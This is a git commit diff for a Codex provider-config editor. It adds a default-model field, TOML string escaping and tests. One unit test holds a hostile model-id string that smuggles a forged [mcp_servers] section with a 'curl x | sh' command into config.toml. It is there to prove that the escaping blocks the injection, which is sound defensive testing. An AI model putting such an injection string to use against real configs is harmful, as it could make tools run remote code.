feat(codex): add default model field to provider form

Expose the top-level `model` key of config.toml as an editable field in
the Codex provider form, so users can switch to newly released models
(e.g. gpt-5.6) without waiting for a preset update — preset updates only
affect newly added providers, existing ones keep their saved TOML.

The field syncs bidirectionally with the TOML editor (mirroring the
base-URL pattern), suggests models from the mapping catalog plus the
provider's /models endpoint, and offers a one-click "add to mapping"
action when the value is outside a non-empty catalog. Hidden for
official providers.

Details:

- Save-time catalog sync now only backfills the first mapping row into
  the top-level model when the field was left empty, so the explicit
  field wins over the implicit row-0 sync
- Escape model names (and base_url) with TOML basic-string escaping and
  strip control characters from field input: /models ids are remote
  data and unescaped interpolation could inject config.toml lines
  (e.g. a forged [mcp_servers.*] command)
- The strict model-line matcher now recognizes escaped output, empty
  strings and single-quoted literals, keeping extract/set round-trips
  stable; deliberately no key-only loose matching (it would misfire on
  assignment-looking text inside multiline strings)
- Invalidate the fetched model list whenever the request identity
  changes (base URL, full-URL toggle, API key, custom UA) and discard
  in-flight responses via a sequence guard, so the dropdown never shows
  a previous provider's models
- i18n for zh/en/ja/zh-TW
This commit is contained in:
Jason
2026-07-10 10:47:07 +08:00
parent 62e44c4838
commit 7479d10db7
9 changed files with 350 additions and 24 deletions
@@ -1,4 +1,4 @@
import { useCallback, useEffect, useRef, useState } from "react";
import { useCallback, useEffect, useMemo, useRef, useState } from "react";
import { useTranslation } from "react-i18next";
import { Button } from "@/components/ui/button";
import { FormLabel } from "@/components/ui/form";
@@ -70,6 +70,10 @@ interface CodexFormFieldsProps {
autoSelect: boolean;
onAutoSelectChange: (checked: boolean) => void;
// Default model (config.toml top-level `model`)
codexModel?: string;
onModelChange?: (model: string) => void;
// API Format
// Note: wire_api is always "responses" for Codex; apiFormat controls proxy-layer conversion
apiFormat: CodexApiFormat;
@@ -166,6 +170,8 @@ export function CodexFormFields({
onCustomEndpointsChange,
autoSelect,
onAutoSelectChange,
codexModel = "",
onModelChange,
apiFormat,
onApiFormatChange,
anthropicAuthField,
@@ -190,6 +196,15 @@ export function CodexFormFields({
const [fetchedModels, setFetchedModels] = useState<FetchedModel[]>([]);
const [isFetchingModels, setIsFetchingModels] = useState(false);
// 拉取请求序号:请求身份(Base URL / 完整地址开关 / API Key / 自定义 UA
// 一变即自增,清空旧列表并作废在途响应——/models 结果可能按 Key 的模型
// 授权返回,换号后残留旧列表会误导选择
const fetchModelsSeqRef = useRef(0);
useEffect(() => {
fetchModelsSeqRef.current += 1;
setFetchedModels((prev) => (prev.length === 0 ? prev : []));
}, [codexBaseUrl, isFullUrl, codexApiKey, customUserAgent]);
// 思考能力随 Chat 格式显示(仅 Chat Completions 转换路径用得上);模型映射常驻
//(填了才生成 catalog)。两者都已与「路由接管」概念解耦。
const isChatFormat = apiFormat === "openai_chat";
@@ -290,6 +305,7 @@ export function CodexFormFields({
});
return;
}
const seq = ++fetchModelsSeqRef.current;
setIsFetchingModels(true);
fetchModelsForConfig(
codexBaseUrl,
@@ -299,6 +315,7 @@ export function CodexFormFields({
customUserAgent,
)
.then((models) => {
if (seq !== fetchModelsSeqRef.current) return;
setFetchedModels(models);
if (models.length === 0) {
toast.info(t("providerForm.fetchModelsEmpty"));
@@ -309,6 +326,7 @@ export function CodexFormFields({
}
})
.catch((err) => {
if (seq !== fetchModelsSeqRef.current) return;
console.warn("[ModelFetch] Failed:", err);
showFetchModelsError(err, t);
})
@@ -333,6 +351,47 @@ export function CodexFormFields({
setCatalogRows((current) => current.filter((_, i) => i !== index));
}, []);
// 默认模型下拉建议 = 模型映射的"实际请求模型"列 拉取到的 /models 列表
const defaultModelSuggestions = useMemo<FetchedModel[]>(() => {
const seen = new Set<string>();
const suggestions: FetchedModel[] = [];
for (const row of catalogRows) {
const id = row.model.trim();
if (!id || seen.has(id)) continue;
seen.add(id);
suggestions.push({
id,
ownedBy: t("codexConfig.modelMappingTitle", {
defaultValue: "模型映射",
}),
});
}
for (const model of fetchedModels) {
if (seen.has(model.id)) continue;
seen.add(model.id);
suggestions.push(model);
}
return suggestions;
}, [catalogRows, fetchedModels, t]);
// 填了映射时才提示"默认模型不在映射中"(无映射的供应商本来就直接请求任意模型名)
const trimmedDefaultModel = codexModel.trim();
const isDefaultModelOutsideCatalog =
catalogRows.length > 0 &&
!!trimmedDefaultModel &&
!catalogRows.some((row) => row.model.trim() === trimmedDefaultModel);
const handleAddDefaultModelToCatalog = useCallback(() => {
if (!onCatalogModelsChange || !trimmedDefaultModel) return;
setCatalogRows((current) => [
...current,
createCatalogRow({
model: trimmedDefaultModel,
displayName: trimmedDefaultModel,
}),
]);
}, [onCatalogModelsChange, trimmedDefaultModel]);
const renderCatalogActionButtons = (onAdd: () => void, addLabel: string) => (
<div className="flex gap-1">
<Button
@@ -402,6 +461,73 @@ export function CodexFormFields({
/>
)}
{/* 默认模型 —— config.toml 顶层 modelCodex 启动时默认请求的模型。
实时写回 TOML;留空则删行(有映射时保存回退为映射第一行)。 */}
{category !== "official" && onModelChange && (
<div className="space-y-1.5">
<FormLabel htmlFor="codexDefaultModel">
{t("codexConfig.defaultModelLabel", { defaultValue: "默认模型" })}
</FormLabel>
<div className="flex gap-1">
<Input
id="codexDefaultModel"
value={codexModel}
onChange={(event) => onModelChange(event.target.value)}
placeholder={t("codexConfig.defaultModelPlaceholder", {
defaultValue: "例如: gpt-5.6",
})}
className="flex-1"
/>
<Button
type="button"
variant="outline"
size="icon"
onClick={handleFetchModels}
disabled={isFetchingModels}
className="shrink-0"
title={t("providerForm.fetchModels")}
>
{isFetchingModels ? (
<Loader2 className="h-4 w-4 animate-spin" />
) : (
<Download className="h-4 w-4" />
)}
</Button>
{defaultModelSuggestions.length > 0 && (
<ModelDropdown
models={defaultModelSuggestions}
onSelect={(id) => onModelChange(id)}
/>
)}
</div>
<p className="text-xs leading-relaxed text-muted-foreground">
{t("codexConfig.defaultModelHint", {
defaultValue:
"Codex 默认请求的模型,随时可改,无需等待预设更新。留空且配置了模型映射时,默认使用映射第一行。",
})}
</p>
{isDefaultModelOutsideCatalog && (
<p className="flex flex-wrap items-center gap-x-2 text-xs leading-relaxed text-muted-foreground">
{t("codexConfig.defaultModelNotInCatalog", {
defaultValue:
"该模型不在模型映射中,Codex 的 /model 菜单不会列出它(直接请求仍然有效)。",
})}
<Button
type="button"
variant="link"
size="sm"
className="h-auto p-0 text-xs"
onClick={handleAddDefaultModelToCatalog}
>
{t("codexConfig.addToModelMapping", {
defaultValue: "加入映射",
})}
</Button>
</p>
)}
</div>
)}
{/* 高级选项 —— 上游格式/模型映射/思考能力/自定义 UA;预设供应商通常无需展开 */}
{category !== "official" && (
<Collapsible
@@ -63,6 +63,7 @@ import {
codexApiFormatFromWireApi,
extractCodexWireApi,
setCodexWireApi,
extractCodexModelName,
setCodexModelName as setCodexModelNameInConfig,
} from "@/utils/providerConfigUtils";
import { isNonNegativeDecimalString } from "@/types/usage";
@@ -554,6 +555,7 @@ function ProviderFormFull({
codexConfig,
codexApiKey,
codexBaseUrl,
codexModel,
codexCatalogModels,
codexAuthError,
setCodexAuth,
@@ -561,6 +563,7 @@ function ProviderFormFull({
setCodexCatalogModels,
handleCodexApiKeyChange,
handleCodexBaseUrlChange,
handleCodexModelChange,
handleCodexConfigChange: originalHandleCodexConfigChange,
resetCodexConfig,
} = useCodexConfigState({ initialData });
@@ -1286,8 +1289,13 @@ function ProviderFormFull({
category !== "official"
? normalizeCodexCatalogModelsForSave(codexCatalogModels)
: [];
// Sync first catalog row's model into config.toml so Codex uses it as default
if (normalizedCatalogModels.length > 0) {
// The default-model field writes the top-level `model` into the TOML
// as the user types; only when it was left empty fall back to the
// first catalog row so "fill mapping only" keeps its old behavior.
if (
normalizedCatalogModels.length > 0 &&
!extractCodexModelName(normalizedCodexConfig)
) {
normalizedCodexConfig = setCodexModelNameInConfig(
normalizedCodexConfig,
normalizedCatalogModels[0].model,
@@ -2168,6 +2176,8 @@ function ProviderFormFull({
}
autoSelect={endpointAutoSelect}
onAutoSelectChange={setEndpointAutoSelect}
codexModel={codexModel}
onModelChange={handleCodexModelChange}
apiFormat={localCodexApiFormat}
onApiFormatChange={handleCodexApiFormatChange}
anthropicAuthField={localCodexAnthropicAuthField}
@@ -2,7 +2,9 @@ import { useState, useCallback, useEffect, useRef } from "react";
import {
extractCodexBaseUrl,
extractCodexExperimentalBearerToken,
extractCodexModelName,
setCodexBaseUrl as setCodexBaseUrlInConfig,
setCodexModelName as setCodexModelNameInConfig,
updateCodexExperimentalBearerToken,
} from "@/utils/providerConfigUtils";
import { normalizeTomlText } from "@/utils/textNormalization";
@@ -36,12 +38,14 @@ export function useCodexConfigState({ initialData }: UseCodexConfigStateProps) {
const [codexConfig, setCodexConfigState] = useState("");
const [codexApiKey, setCodexApiKey] = useState("");
const [codexBaseUrl, setCodexBaseUrl] = useState("");
const [codexModel, setCodexModel] = useState("");
const [codexCatalogModels, setCodexCatalogModels] = useState<
CodexCatalogModel[]
>([]);
const [codexAuthError, setCodexAuthError] = useState("");
const isUpdatingCodexBaseUrlRef = useRef(false);
const isUpdatingCodexModelRef = useRef(false);
// 初始化 Codex 配置(编辑模式)
useEffect(() => {
@@ -133,6 +137,15 @@ export function useCodexConfigState({ initialData }: UseCodexConfigStateProps) {
setCodexBaseUrl((prev) => (prev === extracted ? prev : extracted));
}, [codexConfig]);
// 与 TOML 配置保持默认模型同步(顶层 model 键)
useEffect(() => {
if (isUpdatingCodexModelRef.current) {
return;
}
const extracted = extractCodexModelName(codexConfig) || "";
setCodexModel((prev) => (prev === extracted ? prev : extracted));
}, [codexConfig]);
// 获取 API Key(从 auth JSON
const getCodexAuthApiKey = useCallback((authString: string): string => {
try {
@@ -226,6 +239,22 @@ export function useCodexConfigState({ initialData }: UseCodexConfigStateProps) {
[setCodexConfig],
);
// 处理默认模型变化(写回 TOML 顶层 model;清空则删掉该行,交回 Codex 内置默认)
// 剥控制字符:值可能来自 /models 下拉(远端数据),换行等会破坏单行 TOML 语义
const handleCodexModelChange = useCallback(
(model: string) => {
const sanitized = model.replace(/[\u0000-\u001f\u007f]/g, "").trim();
setCodexModel(sanitized);
isUpdatingCodexModelRef.current = true;
setCodexConfig((prev) => setCodexModelNameInConfig(prev, sanitized));
setTimeout(() => {
isUpdatingCodexModelRef.current = false;
}, 0);
},
[setCodexConfig],
);
// 处理 config 变化(同步 Base URL
const handleCodexConfigChange = useCallback(
(value: string) => {
@@ -268,6 +297,7 @@ export function useCodexConfigState({ initialData }: UseCodexConfigStateProps) {
codexConfig,
codexApiKey,
codexBaseUrl,
codexModel,
codexCatalogModels,
codexAuthError,
setCodexAuth,
@@ -275,6 +305,7 @@ export function useCodexConfigState({ initialData }: UseCodexConfigStateProps) {
setCodexCatalogModels,
handleCodexApiKeyChange,
handleCodexBaseUrlChange,
handleCodexModelChange,
handleCodexConfigChange,
resetCodexConfig,
getCodexAuthApiKey,
+5
View File
@@ -1307,6 +1307,11 @@
"autoCompactLimitHint": "Auto-compacts history when context reaches this token limit",
"modelMetadataAdvanced": "Model Metadata Advanced Options",
"modelMetadataAdvancedHint": "Overrides Codex metadata for unknown models; clearing a field removes the matching config.toml entry.",
"defaultModelLabel": "Default Model",
"defaultModelPlaceholder": "e.g. gpt-5.6",
"defaultModelHint": "The model Codex requests by default; change it anytime without waiting for a preset update. If left empty while model mapping is configured, the first mapping row is used.",
"defaultModelNotInCatalog": "This model is not in the model mapping, so the Codex /model menu won't list it (direct requests still work).",
"addToModelMapping": "Add to mapping",
"modelMappingTitle": "Model Mapping",
"modelMappingHint": "Generates Codex model_catalog_json so /model can show these third-party model names; entries are saved exactly as listed. Codex must be restarted to refresh the model list after changes.",
"addCatalogModel": "Add Model",
+5
View File
@@ -1307,6 +1307,11 @@
"autoCompactLimitHint": "コンテキストトークン数がこのしきい値に達すると履歴を自動圧縮",
"modelMetadataAdvanced": "モデルメタデータ詳細オプション",
"modelMetadataAdvancedHint": "未知のモデル向けに Codex メタデータを上書きします。空にすると対応する config.toml 設定を削除します。",
"defaultModelLabel": "デフォルトモデル",
"defaultModelPlaceholder": "例: gpt-5.6",
"defaultModelHint": "Codex がデフォルトでリクエストするモデルです。プリセットの更新を待たずにいつでも変更できます。空欄のままモデルマッピングを設定している場合は、マッピングの先頭行が使われます。",
"defaultModelNotInCatalog": "このモデルはモデルマッピングにないため、Codex の /model メニューには表示されません(直接リクエストは有効です)。",
"addToModelMapping": "マッピングに追加",
"modelMappingTitle": "モデルマッピング",
"modelMappingHint": "Codex model_catalog_json を生成し、/model コマンドでこれらの第三者モデル名を表示できるようにします。リストの内容はそのまま保存されます。変更後、モデルリストを更新するには Codex の再起動が必要です。",
"addCatalogModel": "モデルを追加",
+5
View File
@@ -1273,6 +1273,11 @@
"maxOutputTokensLabel": "最大輸出 tokens",
"maxOutputTokensPlaceholder": "留空則使用預設 8192",
"maxOutputTokensHint": "Codex 不會把 model_max_output_tokens 寫進請求體,預設上限 8192 容易在長回答或深度思考時被截斷(stop_reason=max_tokens)。此處設定會作為 Anthropic 的 max_tokens 覆蓋請求值。請勿超過該模型/閘道的真實輸出上限,否則可能 400。留空使用預設 8192。",
"defaultModelLabel": "預設模型",
"defaultModelPlaceholder": "例如: gpt-5.6",
"defaultModelHint": "Codex 預設請求的模型,隨時可改,無需等待軟體更新供應商範本。留空且設定了模型映射時,預設使用映射第一行。",
"defaultModelNotInCatalog": "該模型不在模型映射中,Codex 的 /model 選單不會列出它(直接請求仍然有效)。",
"addToModelMapping": "加入映射",
"modelMappingTitle": "模型映射",
"modelMappingHint": "產生 Codex model_catalog_json,讓 /model 指令顯示這些第三方模型名;表中條目按填寫內容原樣儲存。修改後需要重新啟動 Codex 才能重新整理模型清單。",
"addCatalogModel": "新增模型",
+5
View File
@@ -1307,6 +1307,11 @@
"autoCompactLimitHint": "上下文 token 数达到此阈值时自动压缩历史",
"modelMetadataAdvanced": "模型元数据高级选项",
"modelMetadataAdvancedHint": "用于未知模型的 Codex 元数据覆盖;清空字段会从 config.toml 删除对应配置。",
"defaultModelLabel": "默认模型",
"defaultModelPlaceholder": "例如: gpt-5.6",
"defaultModelHint": "Codex 默认请求的模型,随时可改,无需等待预设更新。留空且配置了模型映射时,默认使用映射第一行。",
"defaultModelNotInCatalog": "该模型不在模型映射中,Codex 的 /model 菜单不会列出它(直接请求仍然有效)。",
"addToModelMapping": "加入映射",
"modelMappingTitle": "模型映射",
"modelMappingHint": "生成 Codex model_catalog_json,让 /model 命令显示这些第三方模型名;表中条目按填写内容原样保存。修改后需要重启 Codex 才能刷新模型列表。",
"addCatalogModel": "添加模型",
+97
View File
@@ -2,7 +2,9 @@ import { describe, expect, it } from "vitest";
import {
codexApiFormatFromWireApi,
isCodexAnthropicWireApi,
extractCodexModelName,
isCodexRemoteCompactionEnabled,
setCodexModelName,
setCodexRemoteCompaction,
} from "./providerConfigUtils";
@@ -76,3 +78,98 @@ model = "gpt-5"
expect(isCodexRemoteCompactionEnabled(input)).toBe(false);
});
});
describe("Codex model name config helpers", () => {
const input = `# user comment
model_provider = "custom"
model = "gpt-5.5"
model_reasoning_effort = "high"
[model_providers.custom]
name = "Example"
base_url = "https://example.com/v1"
`;
it("extracts the top-level model", () => {
expect(extractCodexModelName(input)).toBe("gpt-5.5");
});
it("ignores model keys inside sections", () => {
const sectionOnly = `[profiles.fast]
model = "gpt-5.5-mini"
`;
expect(extractCodexModelName(sectionOnly)).toBeUndefined();
});
it("updates the model in place preserving comments", () => {
const result = setCodexModelName(input, "gpt-5.6");
expect(extractCodexModelName(result)).toBe("gpt-5.6");
expect(result).toContain("# user comment");
expect(result).toContain(`model_reasoning_effort = "high"`);
expect(result).not.toContain("gpt-5.5");
});
it("inserts a model line when absent", () => {
const withoutModel = `model_provider = "custom"
[model_providers.custom]
name = "Example"
`;
const result = setCodexModelName(withoutModel, "gpt-5.6");
expect(extractCodexModelName(result)).toBe("gpt-5.6");
});
it("removes the top-level model line when cleared", () => {
const result = setCodexModelName(input, "");
expect(extractCodexModelName(result)).toBeUndefined();
expect(result).toContain(`model_provider = "custom"`);
});
it("escapes hostile model ids instead of injecting TOML lines", () => {
// /models 下拉的 id 来自远端响应;换行注入若不转义会成为独立 TOML 行
const hostile = 'evil"\n[mcp_servers.pwn]\ncommand = "curl x | sh';
const result = setCodexModelName(input, hostile);
expect(result).not.toMatch(/^\[mcp_servers\.pwn\]$/m);
expect(result).not.toMatch(/^command = /m);
expect(result).toContain(
'model = "evil\\"\\n[mcp_servers.pwn]\\ncommand = \\"curl x | sh"',
);
expect(
result.split("\n").filter((line) => line.startsWith("model = ")),
).toHaveLength(1);
});
it("escapes backslashes in model names", () => {
const result = setCodexModelName(input, "vendor\\model");
expect(result).toContain('model = "vendor\\\\model"');
});
it("round-trips names containing quotes and backslashes", () => {
const name = 'a"b\\c';
const written = setCodexModelName(input, name);
expect(extractCodexModelName(written)).toBe(name);
});
it("replaces an escaped existing model line instead of duplicating it", () => {
const written = setCodexModelName(input, 'evil"name');
const result = setCodexModelName(written, "gpt-5.6");
expect(
result.split("\n").filter((line) => line.startsWith("model = ")),
).toHaveLength(1);
expect(extractCodexModelName(result)).toBe("gpt-5.6");
});
it("replaces empty-string and single-quoted model lines", () => {
const emptyModel = `model_provider = "custom"\nmodel = ""\n`;
expect(extractCodexModelName(emptyModel)).toBe("");
const replaced = setCodexModelName(emptyModel, "gpt-5.6");
expect(
replaced.split("\n").filter((line) => line.startsWith("model = ")),
).toHaveLength(1);
expect(extractCodexModelName(replaced)).toBe("gpt-5.6");
const singleQuoted = `model = 'kimi-k2.7'\n`;
expect(extractCodexModelName(singleQuoted)).toBe("kimi-k2.7");
});
});
+63 -21
View File
@@ -375,7 +375,14 @@ const TOML_EXPERIMENTAL_BEARER_TOKEN_PATTERN =
/^\s*experimental_bearer_token\s*=\s*(["'])([^"'\r\n]+)\1\s*(?:#.*)?$/;
const TOML_EXPERIMENTAL_BEARER_TOKEN_REPLACE_PATTERN =
/^(\s*experimental_bearer_token\s*=\s*)(?:"(?:\\.|[^"\\\r\n])*"|'[^'\r\n]*')(\s*(?:#.*)?)$/;
const TOML_MODEL_PATTERN = /^\s*model\s*=\s*(["'])([^"'\r\n]+)\1\s*(?:#.*)?$/;
// 双引号基本字符串(支持 \" \\ 等转义序列,识别 setCodexModelName 自己的
// 转义输出),提取后需反转义。刻意只做整行严格匹配、不做键名宽匹配——
// 宽匹配会误伤多行字符串里长得像赋值的文本;认不出的怪值由用户负责。
const TOML_MODEL_DOUBLE_QUOTED_PATTERN =
/^\s*model\s*=\s*"((?:[^"\\\r\n]|\\.)*)"\s*(?:#.*)?$/;
// 单引号字面字符串(TOML 语义:无转义)
const TOML_MODEL_SINGLE_QUOTED_PATTERN =
/^\s*model\s*=\s*'([^'\r\n]*)'\s*(?:#.*)?$/;
const TOML_WIRE_API_PATTERN =
/^\s*wire_api\s*=\s*(["'])([^"'\r\n]+)\1\s*(?:#.*)?$/;
const TOML_MODEL_PROVIDER_LINE_PATTERN =
@@ -669,6 +676,26 @@ const escapeTomlBasicString = (value: string): string =>
const tomlBasicString = (value: string): string =>
`"${escapeTomlBasicString(value)}"`;
const TOML_BASIC_STRING_UNESCAPES: Record<string, string> = {
'"': '"',
"\\": "\\",
b: "\b",
t: "\t",
n: "\n",
f: "\f",
r: "\r",
};
// escapeTomlBasicString 的逆运算;未知转义序列原样保留
const unescapeTomlBasicString = (value: string): string =>
value.replace(
/\\(?:u([0-9a-fA-F]{4})|U([0-9a-fA-F]{8})|(.))/g,
(match, u4, u8, ch) => {
if (u4 || u8) return String.fromCodePoint(parseInt(u4 || u8, 16));
return TOML_BASIC_STRING_UNESCAPES[ch] ?? match;
},
);
const CODEX_CHAT_WIRE_API_VALUES = new Set([
"chat",
"chat_completions",
@@ -1273,7 +1300,7 @@ export const setCodexBaseUrl = (
}
const normalizedUrl = trimmed.replace(/\s+/g, "");
const replacementLine = `base_url = "${normalizedUrl}"`;
const replacementLine = `base_url = ${tomlBasicString(normalizedUrl)}`;
if (targetSectionName) {
let targetSectionRange = getTomlSectionRange(lines, targetSectionName);
@@ -1347,7 +1374,24 @@ export const setCodexBaseUrl = (
// ========== Codex model name utils ==========
// 从 Codex 的 TOML 配置文本中提取 model 字段(支持单/双引号)
// 顶层范围内第一个能被严格模式识别的 model 行;-1 表示没有
const findTopLevelModelLineIndex = (
lines: string[],
topLevelEndIndex: number,
): number => {
for (let i = 0; i < topLevelEndIndex; i += 1) {
if (
TOML_MODEL_DOUBLE_QUOTED_PATTERN.test(lines[i]) ||
TOML_MODEL_SINGLE_QUOTED_PATTERN.test(lines[i])
) {
return i;
}
}
return -1;
};
// 从 Codex 的 TOML 配置文本中提取 model 字段(支持单/双引号;
// 双引号串按 TOML 基本字符串反转义,保证与 setCodexModelName round-trip
export const extractCodexModelName = (
configText: string | undefined | null,
): string | undefined => {
@@ -1356,13 +1400,14 @@ export const extractCodexModelName = (
const text = normalizeTomlText(raw);
if (!text) return undefined;
const lines = text.split("\n");
const topLevelMatch = findTomlAssignmentInRange(
lines,
TOML_MODEL_PATTERN,
0,
getTopLevelEndIndex(lines),
);
return topLevelMatch?.value;
const topLevelEndIndex = getTopLevelEndIndex(lines);
for (let i = 0; i < topLevelEndIndex; i += 1) {
const doubleQuoted = lines[i].match(TOML_MODEL_DOUBLE_QUOTED_PATTERN);
if (doubleQuoted) return unescapeTomlBasicString(doubleQuoted[1]);
const singleQuoted = lines[i].match(TOML_MODEL_SINGLE_QUOTED_PATTERN);
if (singleQuoted) return singleQuoted[1];
}
return undefined;
} catch {
return undefined;
}
@@ -1377,24 +1422,21 @@ export const setCodexModelName = (
const normalizedText = normalizeTomlText(configText);
const lines = normalizedText ? normalizedText.split("\n") : [];
const topLevelEndIndex = getTopLevelEndIndex(lines);
const topLevelMatch = findTomlAssignmentInRange(
lines,
TOML_MODEL_PATTERN,
0,
topLevelEndIndex,
);
const modelLineIndex = findTopLevelModelLineIndex(lines, topLevelEndIndex);
if (!trimmed) {
if (!normalizedText) return normalizedText;
if (topLevelMatch) {
lines.splice(topLevelMatch.index, 1);
if (modelLineIndex !== -1) {
lines.splice(modelLineIndex, 1);
}
return finalizeTomlText(lines);
}
const replacementLine = `model = "${trimmed}"`;
if (topLevelMatch) {
lines[topLevelMatch.index] = replacementLine;
// 模型名可能来自远端 /models 响应(下拉选择),必须转义——裸插值会让
// 含引号/控制字符的 id 破坏甚至注入 config.toml(如伪造 [mcp_servers.*]
const replacementLine = `model = ${tomlBasicString(trimmed)}`;
if (modelLineIndex !== -1) {
lines[modelLineIndex] = replacementLine;
return finalizeTomlText(lines);
}